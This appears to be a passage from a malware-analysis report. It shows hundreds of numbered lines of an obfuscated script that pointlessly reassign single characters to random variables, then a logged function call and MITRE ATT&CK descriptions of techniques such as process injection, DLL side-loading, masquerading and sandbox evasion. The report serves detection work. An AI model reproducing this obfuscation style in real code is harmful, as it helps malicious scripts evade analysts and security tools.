512	vapnbijo = "Q";
513	vapnbijo = "K";
514	vapnbijo = "o";
515	vapnbijo = "z";
516	vapnbijo = "F";
517	vapnbijo = "m";
518	vapnbijo = "X";
519	vapnbijo = "R";
520	vapnbijo = "L";
521	vapnbijo = "S";
522	vapnbijo = "q";
523	vapnbijo = "d";
524	vapnbijo = "k";
525	vapnbijo = "Y";
526	vapnbijo = "R";
527	vapnbijo = "J";
528	vapnbijo = "E";
529	vapnbijo = "A";
530	vapnbijo = "E";
531	vapnbijo = "H";
532	vapnbijo = "U";
533	vapnbijo = "V";
534	vapnbijo = "P";
535	vapnbijo = "S";
536	vapnbijo = "V";
537	vapnbijo = "E";
538	vapnbijo = "x";
539	vapnbijo = "C";
540	vapnbijo = "Z";
541	vapnbijo = "K";
542	vapnbijo = "W";
543	vapnbijo = "g";
544	vapnbijo = "j";
545	vapnbijo = "U";
546	vapnbijo = "C";
547	vapnbijo = "r";
548	vapnbijo = "r";
549	vapnbijo = "x";
550	vapnbijo = "T";
551	vapnbijo = "c";
552	vapnbijo = "G";
553	vapnbijo = "T";
554	vapnbijo = "\"";
555	fnoplsrgi = "L";
556	fnoplsrgi = "Q";
557	fnoplsrgi = "a";
558	fnoplsrgi = "R";
559	fnoplsrgi = "R";
560	fnoplsrgi = "T";
561	fnoplsrgi = "o";
562	fnoplsrgi = "i";
563	fnoplsrgi = "Y";
564	fnoplsrgi = "l";
565	fnoplsrgi = "W";
566	fnoplsrgi = "b";
567	fnoplsrgi = "n";
568	fnoplsrgi = "7";
569	znswh = "y";
570	znswh = "Z";
571	znswh = "f";
572	znswh = "f";
573	znswh = "p";
574	znswh = "X";
575	znswh = "w";
576	znswh = "c";
577	znswh = "L";
578	znswh = "j";
579	znswh = "V";
580	znswh = "i";
581	znswh = "c";
582	znswh = "m";
583	znswh = "o";
584	znswh = "A";
585	znswh = "d";
586	znswh = "9";
587	fczpuu = "R";
588	fczpuu = "m";
589	fczpuu = "G";
590	fczpuu = "e";
591	fczpuu = "c";
592	fczpuu = "B";
593	fczpuu = "j";
594	fczpuu = "L";
595	fczpuu = "t";
596	fczpuu = "f";
597	fczpuu = "H";
598	fczpuu = "P";
599	fczpuu = "Y";
600	fczpuu = "X";
601	fczpuu = "y";
602	fczpuu = "E";
603	fczpuu = "f";
604	fczpuu = "u";
605	fczpuu = "h";
606	fczpuu = "H";
607	fczpuu = "h";
608	wceui = "F";
609	wceui = "r";
610	wceui = "H";
611	wceui = "m";
612	wceui = "m";
613	wceui = "M";
614	wceui = "E";
615	wceui = "j";
616	wceui = "N";
617	wceui = "C";
618	wceui = "e";
619	wceui = "g";
620	wceui = "D";
621	wceui = "G";
622	wceui = "F";
623	wceui = "G";
624	wceui = "@";
625	pulrym = "l";
626	pulrym = "H";
627	pulrym = "R";
628	pulrym = "e";
629	pulrym = "I";
630	pulrym = "B";
631	pulrym = "B";
632	pulrym = "r";
633	pulrym = "h";
634	pulrym = "e";
635	pulrym = "I";
636	pulrym = "I";
637	pulrym = "D";
638	pulrym = "K";
639	pulrym = "V";
640	pulrym = "Q";
641	aqpli = "P";
642	aqpli = "o";
643	aqpli = "G";
644	aqpli = "f";
645	aqpli = "w";
646	aqpli = "h";
647	aqpli = "A";
648	aqpli = "a";
649	aqpli = "s";
650	aqpli = "q";
651	aqpli = "S";
652	aqpli = "T";
653	aqpli = "i";
654	aqpli = "l";
655	aqpli = "e";
656	aqpli = "W";
657	aqpli = "Z";
658	aqpli = "S";
659	aqpli = "b";
660	aqpli = "S";
661	aqpli = "h";
662	aqpli = "c";
663	aqpli = "F";
664	aqpli = "C";
665	aqpli = "A";
666	aqpli = "q";
667	aqpli = "d";
668	aqpli = "q";
669	aqpli = "Y";
670	aqpli = "g";
671	aqpli = "W";
672	aqpli = "d";
673	aqpli = "G";
674	aqpli = "E";
675	aqpli = "Y";
676	aqpli = "n";
677	aqpli = "K";
678	pcktmvthm = "I";
679	pcktmvthm = "C";
680	pcktmvthm = "r";
681	pcktmvthm = "v";
682	pcktmvthm = "H";
683	pcktmvthm = "q";
684	pcktmvthm = "T";
685	pcktmvthm = "E";
686	fvxmfqtt = "n";
687	fvxmfqtt = "Y";
688	fvxmfqtt = "m";
689	fvxmfqtt = "r";
690	fvxmfqtt = "M";
691	fvxmfqtt = "L";
692	fvxmfqtt = "i";
693	fvxmfqtt = "e";
694	fvxmfqtt = "J";
695	fvxmfqtt = "y";
696	fvxmfqtt = "D";
697	fvxmfqtt = "l";
698	fvxmfqtt = "S";
699	fvxmfqtt = "K";
700	fvxmfqtt = "O";
701	fvxmfqtt = "D";
702	fvxmfqtt = "O";
703	fvxmfqtt = "Z";
704	fvxmfqtt = "p";
705	fvxmfqtt = "e";
706	fvxmfqtt = "g";
707	fvxmfqtt = "l";
708	fvxmfqtt = "u";
709	fvxmfqtt = "H";
710	fvxmfqtt = "D";
711	fvxmfqtt = "S";
712	fvxmfqtt = "y";
713	fvxmfqtt = "v";
714	fvxmfqtt = "r";
715	fvxmfqtt = "B";
716	fvxmfqtt = "j";
717	fvxmfqtt = "L";
718	fvxmfqtt = "T";
719	fvxmfqtt = "D";
720	fvxmfqtt = "p";
721	fvxmfqtt = "2";
722	vsxulzn = "d";
723	vsxulzn = "o";
724	vsxulzn = "G";
725	vsxulzn = "v";
726	vsxulzn = "G";
727	vsxulzn = "S";
728	vsxulzn = "l";
729	vsxulzn = "u";
730	vsxulzn = "L";
731	vsxulzn = "u";
732	vsxulzn = "G";
733	vsxulzn = "z";
734	vsxulzn = "b";
735	vsxulzn = "x";
736	vsxulzn = "y";
737	vsxulzn = "D";
738	vsxulzn = "r";
739	vsxulzn = "h";
740	vsxulzn = "d";
741	vsxulzn = "e";
742	vsxulzn = "b";
743	vsxulzn = "H";
744	vsxulzn = "i";
745	vsxulzn = "T";
746	vsxulzn = "C";
747	vsxulzn = "D";
748	vsxulzn = "K";
749	vsxulzn = "d";
750	vsxulzn = "P";
751	vsxulzn = "o";
752	yzjonwuod = "v";
753	yzjonwuod = "b";
754	yzjonwuod = "I";
755	yzjonwuod = "e";
756	yzjonwuod = "C";
757	yzjonwuod = "J";
758	yzjonwuod = "F";
759	yzjonwuod = "h";
760	yzjonwuod = "D";
761	yzjonwuod = "j";
762	yzjonwuod = "l";
763	yzjonwuod = "S";
764	yzjonwuod = "E";
765	yzjonwuod = "e";
766	yzjonwuod = "x";
767	yzjonwuod = "T";
768	yzjonwuod = "d";
769	yzjonwuod = "F";
770	yzjonwuod = "v";
771	yzjonwuod = "h";
772	yzjonwuod = "g";
773	yzjonwuod = "h";
774	yzjonwuod = "t";
775	yzjonwuod = "V";
776	yzjonwuod = "c";
777	yzjonwuod = "O";
778	yzjonwuod = "M";
779	yzjonwuod = "s";
780	yzjonwuod = "w";
781	yzjonwuod = "M";
782	yzjonwuod = "j";
783	yzjonwuod = "e";
784	yzjonwuod = "U";
785	yzjonwuod = "R";
786	yzjonwuod = "e";
787	yzjonwuod = "A";
788	yzjonwuod = "z";
789	yzjonwuod = "X";
790	yzjonwuod = "k";
791	vpoaov = "g";
792	pnjeclky = "U";
793	pnjeclky = "s";
794	pnjeclky = "z";
795	pnjeclky = "D";
796	pnjeclky = "p";
797	pnjeclky = "P";
798	pnjeclky = "q";
799	pnjeclky = "D";
800	pnjeclky = "f";
801	pnjeclky = "z";
802	pnjeclky = "C";
803	pnjeclky = "G";
804	pnjeclky = "U";
805	pnjeclky = "l";
806	pnjeclky = "k";
807	pnjeclky = "T";
808	pnjeclky = "f";
809	pnjeclky = "E";
810	pnjeclky = "c";
811	pnjeclky = "U";
812	pnjeclky = "N";
813	pnjeclky = "F";
814	pnjeclky = "o";
815	pnjeclky = "C";
816	pnjeclky = "c";
817	pnjeclky = "X";
818	pnjeclky = "L";
819	pnjeclky = "l";
820	pnjeclky = "c";
821	pnjeclky = "u";
822	pnjeclky = "Y";
823	pnjeclky = "E";
824	pnjeclky = "p";
825	pnjeclky = "n";
826	pnjeclky = "L";
827	pnjeclky = "1";
828	wfonndo = "h";
829	wfonndo = "n";
830	wfonndo = "R";
831	wfonndo = "s";
832	wfonndo = "A";
833	wfonndo = "k";
834	wfonndo = "o";
835	wfonndo = "L";
836	wfonndo = "i";
837	wfonndo = "S";
838	wfonndo = "R";
839	wfonndo = "N";
840	wfonndo = "B";
841	wfonndo = "e";
842	wfonndo = "U";
843	wfonndo = "w";
844	wfonndo = "j";
845	wfonndo = "K";
846	wfonndo = "p";
847	wfonndo = "v";
848	wfonndo = "d";
849	wfonndo = "Y";
850	wfonndo = "F";
851	wfonndo = "t";
852	wfonndo = "B";
853	wfonndo = "A";
854	wfonndo = "q";
855	wfonndo = "p";
856	wfonndo = "y";
857	wfonndo = "V";
858	wfonndo = "t";
859	wfonndo = "f";
860	wfonndo = "k";
861	wfonndo = "D";
862	wfonndo = "R";
863	wfonndo = "J";
864	wfonndo = "c";
865	wfonndo = "Q";
866	wfonndo = "R";
867	wfonndo = "I";
868	wfonndo = "P";
869	wfonndo = "W";
870	wfonndo = "A";
871	wfonndo = "L";
872	wfonndo = "6";
873	wkoxnxizb = "L";
874	wkoxnxizb = "c";
875	wkoxnxizb = "F";
876	wkoxnxizb = "d";
877	wkoxnxizb = "P";
878	wkoxnxizb = "L";
879	wkoxnxizb = "t";
880	wkoxnxizb = "A";
881	wkoxnxizb = "I";
882	wkoxnxizb = "d";
883	wkoxnxizb = "w";
884	wkoxnxizb = "b";
885	wkoxnxizb = "W";
886	wkoxnxizb = "V";
887	wkoxnxizb = "e";
888	wkoxnxizb = "C";
889	wkoxnxizb = "L";
890	wkoxnxizb = "s";
891	wkoxnxizb = "d";
892	wkoxnxizb = "U";
893	wkoxnxizb = "w";
894	wkoxnxizb = "A";
895	wkoxnxizb = "G";
896	wkoxnxizb = "Y";
897	wkoxnxizb = "W";
898	wkoxnxizb = "d";
899	wkoxnxizb = "p";
900	wkoxnxizb = "J";
901	wkoxnxizb = "b";
902	wkoxnxizb = "i";
903	wkoxnxizb = "r";
904	wkoxnxizb = "y";
905	wkoxnxizb = "t";
906	wkoxnxizb = "O";
907	wkoxnxizb = "C";
908	xksqfz = "t";
909	xksqfz = "R";
910	xksqfz = "r";
911	xksqfz = "q";
912	xksqfz = "o";
913	xksqfz = "p";
914	xksqfz = "d";
915	zurprpae = "\\";
916	pdjmgpm = "z";
917	pdjmgpm = "U";
918	pdjmgpm = "Q";
919	pdjmgpm = "q";
920	pdjmgpm = "y";
921	pdjmgpm = "C";
922	pdjmgpm = "L";
923	pdjmgpm = "z";
924	pdjmgpm = "J";
925	pdjmgpm = "w";
926	pdjmgpm = "k";
927	pdjmgpm = "a";
928	pdjmgpm = "r";
929	pdjmgpm = "H";
930	pdjmgpm = "V";
931	pdjmgpm = "Q";
932	pdjmgpm = "x";
933	pdjmgpm = "E";
934	pdjmgpm = "V";
935	pdjmgpm = "z";
936	pdjmgpm = "I";
937	pdjmgpm = "c";
938	gaocbmgxo = "G";
939	gaocbmgxo = "g";
940	gaocbmgxo = "l";
941	gaocbmgxo = "Y";
942	gaocbmgxo = "L";
943	gaocbmgxo = "v";
944	gaocbmgxo = "x";
945	gaocbmgxo = "l";
946	gaocbmgxo = "M";
947	gaocbmgxo = "X";
948	gaocbmgxo = "R";
949	gaocbmgxo = "W";
950	gaocbmgxo = "O";
951	gaocbmgxo = "P";
952	gaocbmgxo = "i";
953	gaocbmgxo = "H";
954	gaocbmgxo = "R";
955	gaocbmgxo = "y";
956	gaocbmgxo = "e";
957	gaocbmgxo = "Z";
958	gaocbmgxo = "p";
959	gaocbmgxo = "e";
960	gaocbmgxo = "K";
961	gaocbmgxo = "U";
962	gaocbmgxo = "y";
963	gaocbmgxo = "F";
964	gaocbmgxo = "c";
965	gaocbmgxo = "x";
966	gaocbmgxo = "q";
967	gaocbmgxo = "p";
968	gaocbmgxo = "U";
969	heidd = "O";
970	heidd = "T";
971	heidd = "e";
972	heidd = "d";
973	heidd = "f";
974	heidd = "a";
975	eeisom = "e";
976	eeisom = "V";
977	eeisom = "M";
978	eeisom = "y";
979	eeisom = "t";
980	eeisom = "Q";
981	eeisom = "c";
982	eeisom = "c";
983	eeisom = "J";
984	eeisom = "f";
985	eeisom = "W";
986	eeisom = "z";
987	eeisom = "L";
988	eeisom = "x";
989	eeisom = "W";
990	eeisom = "u";
991	eeisom = "r";
992	eeisom = "f";
993	eeisom = "I";
994	eeisom = "X";
995	eeisom = "R";
996	eeisom = "z";
997	eeisom = "r";
998	eeisom = "C";
999	eeisom = "J";
1000	eeisom = "l";
1001	eeisom = "S";
1002	eeisom = "X";
1003	eeisom = "w";
1004	eeisom = "W";
1005	eeisom = "U";
1006	eeisom = "T";
1007	eeisom = "T";
1008	eeisom = "b";
1009	eeisom = "e";
1010	eeisom = "L";
1011	eeisom = "v";
1012	eeisom = "_";
1013	sjszgaue = "B";
1014	sjszgaue = "c";
1015	sjszgaue = "q";
1016	mlpge = "A";
1017	mlpge = "p";
1018	mlpge = "H";
1019	mlpge = "Q";
1020	mlpge = "N";
1021	mlpge = "R";
1022	mlpge = "l";
1023	mlpge = "y";
1024	mlpge = "o";
1025	mlpge = "e";
1026	mlpge = "K";
1027	mlpge = "F";
1028	mlpge = "I";
1029	mlpge = "r";
1030	mlpge = "b";
1031	mlpge = "t";
1032	mlpge = "W";
1033	mlpge = "k";
1034	mlpge = "W";
1035	mlpge = "a";
1036	mlpge = "N";
1037	mlpge = "s";
1038	ismyawh = "e";
1039	ismyawh = "l";
1040	ismyawh = "M";
1041	ismyawh = "n";
1042	ismyawh = "T";
1043	ismyawh = "P";
1044	wjikq = "d";
1045	wjikq = "y";
1046	wjikq = "g";
1047	wjikq = "l";
1048	wjikq = "J";
1049	wjikq = "w";
1050	wjikq = "v";
1051	wjikq = "u";
1052	wjikq = "a";
1053	wjikq = "F";
1054	wjikq = "C";
1055	wjikq = "w";
1056	wjikq = "M";
1057	wjikq = "G";
1058	wjikq = "g";
1059	wjikq = "c";
1060	wjikq = "K";
1061	wjikq = "d";
1062	wjikq = "N";
1063	wjikq = "G";
1064	wjikq = "Q";
1065	wjikq = "e";
1066	wjikq = "A";
1067	wjikq = "C";
1068	wjikq = "G";
1069	wjikq = "W";
1070	wjikq = "P";
1071	wjikq = "T";
1072	wjikq = "u";
1073	wjikq = "c";
1074	wjikq = "c";
1075	wjikq = "R";
1076	wjikq = "W";
1077	wjikq = "j";
1078	wjikq = "F";
1079	wjikq = "F";
1080	wjikq = "r";
1081	wjikq = "X";
1082	wjikq = "a";
1083	wjikq = "s";
1084	wjikq = "r";
1085	wjikq = "A";
1086	wjikq = "S";
1087	untaqdwoi = "m";
1088	untaqdwoi = "T";
1089	untaqdwoi = "z";
1090	untaqdwoi = "G";
1091	untaqdwoi = "y";
1092	untaqdwoi = "R";
1093	untaqdwoi = "m";
1094	untaqdwoi = "T";
1095	untaqdwoi = "X";
1096	untaqdwoi = "k";
1097	untaqdwoi = "o";
1098	untaqdwoi = "A";
1099	untaqdwoi = "X";
1100	untaqdwoi = "M";
1101	untaqdwoi = "q";
1102	untaqdwoi = "E";
1103	untaqdwoi = "Y";
1104	untaqdwoi = "A";
1105	untaqdwoi = "R";
1106	untaqdwoi = "B";
1107	untaqdwoi = "b";
1108	untaqdwoi = "x";
1109	untaqdwoi = "a";
1110	untaqdwoi = "E";
1111	untaqdwoi = "s";
1112	untaqdwoi = "Q";
1113	untaqdwoi = "v";
1114	untaqdwoi = "L";
1115	gcsauxmva = "t";
1116	gcsauxmva = "q";
1117	gcsauxmva = "O";
1118	gcsauxmva = "i";
1119	yzecnwwhx = "Q";
1120	yzecnwwhx = "A";
1121	yzecnwwhx = "H";
1122	yzecnwwhx = "P";
1123	yzecnwwhx = "I";
1124	yzecnwwhx = "o";
1125	yzecnwwhx = "i";
1126	yzecnwwhx = "l";
1127	yzecnwwhx = "D";
1128	yzecnwwhx = "h";
1129	yzecnwwhx = "K";
1130	yzecnwwhx = "v";
1131	yzecnwwhx = "I";
1132	yzecnwwhx = "Q";
1133	yzecnwwhx = "s";
1134	yzecnwwhx = "O";
1135	yzecnwwhx = "U";
1136	yzecnwwhx = "o";
1137	yzecnwwhx = "l";
1138	yzecnwwhx = "b";
1139	gllnkfgo = "u";
1140	gllnkfgo = "G";
1141	gllnkfgo = "N";
1142	gllnkfgo = "l";
1143	gllnkfgo = "q";
1144	gllnkfgo = "s";
1145	gllnkfgo = "o";
1146	gllnkfgo = "s";
1147	gllnkfgo = "r";
1148	gllnkfgo = "g";
1149	gllnkfgo = "I";
1150	gllnkfgo = "w";
1151	gllnkfgo = "w";
1152	gllnkfgo = "u";
1153	gllnkfgo = "n";
1154	gllnkfgo = "w";
1155	gllnkfgo = "Z";
1156	gllnkfgo = "i";
1157	gllnkfgo = "R";
1158	gllnkfgo = "y";
1159	gllnkfgo = "W";
1160	gllnkfgo = "Z";
1161	gllnkfgo = "o";
1162	gllnkfgo = "g";
1163	gllnkfgo = "t";
1164	gllnkfgo = "O";
1165	gllnkfgo = "S";
1166	gllnkfgo = "y";
1167	gllnkfgo = "v";
1168	gllnkfgo = "a";
1169	gllnkfgo = "s";
1170	gllnkfgo = "o";
1171	gllnkfgo = "Q";
1172	gllnkfgo = "k";
1173	gllnkfgo = "y";
1174	gllnkfgo = "P";
1175	gllnkfgo = "c";
1176	gllnkfgo = "Y";
1177	gllnkfgo = "C";
1178	gllnkfgo = "u";
1179	svoah = "L";
1180	svoah = "o";
1181	svoah = "k";
1182	svoah = "m";
1183	svoah = "R";
1184	svoah = "M";
1185	svoah = "M";
1186	svoah = "L";
1187	svoah = "X";
1188	svoah = "a";
1189	svoah = "z";
1190	svoah = "z";
1191	svoah = "d";
1192	svoah = "w";
1193	svoah = "Y";
1194	svoah = "z";
1195	svoah = "k";
1196	svoah = "o";
1197	svoah = "n";
1198	antshl = "G";
1199	antshl = "a";
1200	antshl = "x";
1201	antshl = "Z";
1202	antshl = "b";
1203	antshl = "h";
1204	antshl = "y";
1205	antshl = "L";
1206	antshl = "c";
1207	antshl = "g";
1208	antshl = "f";
1209	flaewuog = "J";
1210	flaewuog = "G";
1211	flaewuog = "B";
1212	flaewuog = "G";
1213	flaewuog = "E";
1214	flaewuog = "d";
1215	flaewuog = "0";
1216	sfkkxsgy = "S";
1217	sfkkxsgy = "M";
1218	sfkkxsgy = "E";
1219	sfkkxsgy = "F";
1220	sfkkxsgy = "F";
1221	sfkkxsgy = "A";
1222	sfkkxsgy = "w";
1223	sfkkxsgy = "m";
1224	sfkkxsgy = "A";
1225	sfkkxsgy = "k";
1226	sfkkxsgy = "E";
1227	sfkkxsgy = "L";
1228	sfkkxsgy = "r";
1229	sfkkxsgy = "Z";
1230	sfkkxsgy = "k";
1231	sfkkxsgy = "m";
1232	sfkkxsgy = "M";
1233	sfkkxsgy = "g";
1234	sfkkxsgy = "n";
1235	sfkkxsgy = "O";
1236	sfkkxsgy = "T";
1237	sfkkxsgy = "Z";
1238	sfkkxsgy = "i";
1239	sfkkxsgy = "T";
1240	sfkkxsgy = "o";
1241	sfkkxsgy = "A";
1242	sfkkxsgy = "L";
1243	sfkkxsgy = "v";
1244	sfkkxsgy = "N";
1245	sfkkxsgy = "o";
1246	sfkkxsgy = "m";
1247	sfkkxsgy = " ";
1248	vriyywjn = "n";
1249	vriyywjn = "c";
1250	vriyywjn = "G";
1251	vriyywjn = "M";
1252	vriyywjn = "L";
1253	vriyywjn = "i";
1254	vriyywjn = "W";
1255	vriyywjn = "e";
1256	vriyywjn = "F";
1257	vriyywjn = "j";
1258	vriyywjn = "O";
1259	vriyywjn = "B";
1260	vriyywjn = "X";
1261	vriyywjn = "w";
1262	vriyywjn = "A";
1263	vriyywjn = "H";
1264	vriyywjn = "l";
1265	vriyywjn = "n";
1266	vriyywjn = "k";
1267	vriyywjn = "e";
1268	vriyywjn = "O";
1269	vriyywjn = "Z";
1270	vriyywjn = "v";
1271	vriyywjn = "D";
1272	vriyywjn = "O";
1273	vriyywjn = "r";
1274	vriyywjn = "a";
1275	vriyywjn = "Y";
1276	vriyywjn = "z";
1277	vriyywjn = "k";
1278	vriyywjn = "e";
1279	vriyywjn = "o";
1280	vriyywjn = "v";
1281	vriyywjn = "z";
1282	vriyywjn = "J";
1283	vriyywjn = "f";
1284	vriyywjn = "W";
1285	vriyywjn = "%";
1286	lqbmydvps = "t";
1287	lqbmydvps = "Z";
1288	lqbmydvps = "n";
1289	lqbmydvps = "L";
1290	lqbmydvps = "A";
1291	lqbmydvps = "F";
1292	lqbmydvps = "F";
1293	lqbmydvps = "a";
1294	lqbmydvps = "X";
1295	lqbmydvps = "G";
1296	lqbmydvps = "L";
1297	lqbmydvps = "h";
1298	lqbmydvps = "j";
1299	lqbmydvps = "R";
1300	lqbmydvps = "T";
1301	lqbmydvps = "Z";
1302	lqbmydvps = "m";
1303	lqbmydvps = "U";
1304	lqbmydvps = "N";
1305	lqbmydvps = "z";
1306	lqbmydvps = "X";
1307	lqbmydvps = "l";
1308	zyaroqydh = "f";
1309	zyaroqydh = "B";
1310	zyaroqydh = "n";
1311	zyaroqydh = "j";
1312	zyaroqydh = "a";
1313	zyaroqydh = "p";
1314	zyaroqydh = "R";
1315	zyaroqydh = "o";
1316	zyaroqydh = "y";
1317	zyaroqydh = "O";
1318	zyaroqydh = "n";
1319	zyaroqydh = "u";
1320	zyaroqydh = "Q";
1321	zyaroqydh = "Y";
1322	zyaroqydh = "W";
1323	zyaroqydh = "c";
1324	zyaroqydh = "U";
1325	zyaroqydh = "K";
1326	zyaroqydh = "u";
1327	zyaroqydh = "B";
1328	zyaroqydh = "H";
1329	tvhuxol = "z";
1330	tvhuxol = "d";
1331	tvhuxol = "T";
1332	tvhuxol = "g";
1333	tvhuxol = "F";
1334	tvhuxol = "T";
1335	tvhuxol = "y";
1336	tvhuxol = "p";
1337	tvhuxol = "3";
1338	tgektvvhs = "W";
1339	tgektvvhs = "a";
1340	tgektvvhs = "e";
1341	tgektvvhs = "M";
1342	tgektvvhs = "v";
1343	tgektvvhs = "F";
1344	tgektvvhs = "d";
1345	tgektvvhs = "e";
1346	tgektvvhs = "C";
1347	tgektvvhs = "H";
1348	tgektvvhs = "D";
1349	tgektvvhs = "h";
1350	tgektvvhs = "B";
1351	tgektvvhs = "b";
1352	tgektvvhs = "H";
1353	tgektvvhs = "N";
1354	tgektvvhs = "i";
1355	tgektvvhs = "f";
1356	tgektvvhs = "G";
1357	tgektvvhs = "t";
1358	tgektvvhs = "u";
1359	tgektvvhs = "y";
1360	tgektvvhs = "S";
1361	tgektvvhs = "n";
1362	tgektvvhs = "W";
1363	tgektvvhs = "a";
1364	tgektvvhs = "o";
1365	tgektvvhs = "g";
1366	tgektvvhs = "S";
1367	tgektvvhs = "Z";
1368	tgektvvhs = "n";
1369	tgektvvhs = "P";
1370	tgektvvhs = "k";
1371	tgektvvhs = "j";
1372	rkfybdoqb = "O";
1373	rkfybdoqb = "D";
1374	rkfybdoqb = "x";
1375	rkfybdoqb = "G";
1376	rkfybdoqb = "j";
1377	rkfybdoqb = "N";
1378	lixnqijt = "q";
1379	lixnqijt = "o";
1380	lixnqijt = "G";
1381	lixnqijt = "M";
1382	lixnqijt = "M";
1383	lixnqijt = "y";
1384	lixnqijt = "P";
1385	lixnqijt = "T";
1386	lixnqijt = "w";
1387	lixnqijt = "n";
1388	lixnqijt = "Q";
1389	lixnqijt = "g";
1390	lixnqijt = "m";
1391	lixnqijt = "S";
1392	lixnqijt = "C";
1393	lixnqijt = "J";
1394	lixnqijt = "j";
1395	lixnqijt = "y";
1396	lixnqijt = "u";
1397	lixnqijt = "R";
1398	lixnqijt = "Z";
1399	lixnqijt = "Y";
1400	lixnqijt = "b";
1401	lixnqijt = "c";
1402	lixnqijt = "M";
1403	lixnqijt = "T";
1404	lixnqijt = "W";
1405	lixnqijt = "y";
1406	lixnqijt = "U";
1407	lixnqijt = "S";
1408	lixnqijt = "p";
1409	lixnqijt = "H";
1410	lixnqijt = "v";
1411	lixnqijt = "d";
1412	lixnqijt = "r";
1413	lixnqijt = "D";
1414	lixnqijt = "H";
1415	lixnqijt = "V";
1416	lixnqijt = "J";
1417	lixnqijt = "S";
1418	lixnqijt = "s";
1419	lixnqijt = "u";
1420	lixnqijt = "r";
1421	lixnqijt = "Q";
1422	lixnqijt = "W";
1423	jkbqo = "s";
1424	jkbqo = "z";
1425	jkbqo = "o";
1426	jkbqo = "r";
1427	jkbqo = "X";
1428	jkbqo = "a";
1429	jkbqo = "X";
1430	jkbqo = "j";
1431	jkbqo = "Q";
1432	jkbqo = "D";
1433	jkbqo = "Q";
1434	jkbqo = "t";
1435	jkbqo = "4";
1436	giqgs = "t";
1437	gvgbkfvo = "R";
1438	gvgbkfvo = "U";
1439	gvgbkfvo = "f";
1440	gvgbkfvo = "e";
1441	gvgbkfvo = "y";
1442	gvgbkfvo = "X";
1443	gvgbkfvo = "p";
1444	gvgbkfvo = "P";
1445	gvgbkfvo = "m";
1446	gvgbkfvo = "q";
1447	gvgbkfvo = "A";
1448	gvgbkfvo = "p";
1449	gvgbkfvo = "l";
1450	gvgbkfvo = "r";
1451	gvgbkfvo = "w";
1452	gvgbkfvo = "J";
1453	gvgbkfvo = "C";
1454	gvgbkfvo = "E";
1455	gvgbkfvo = "x";
1456	sgemzt ( );	sgemzt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

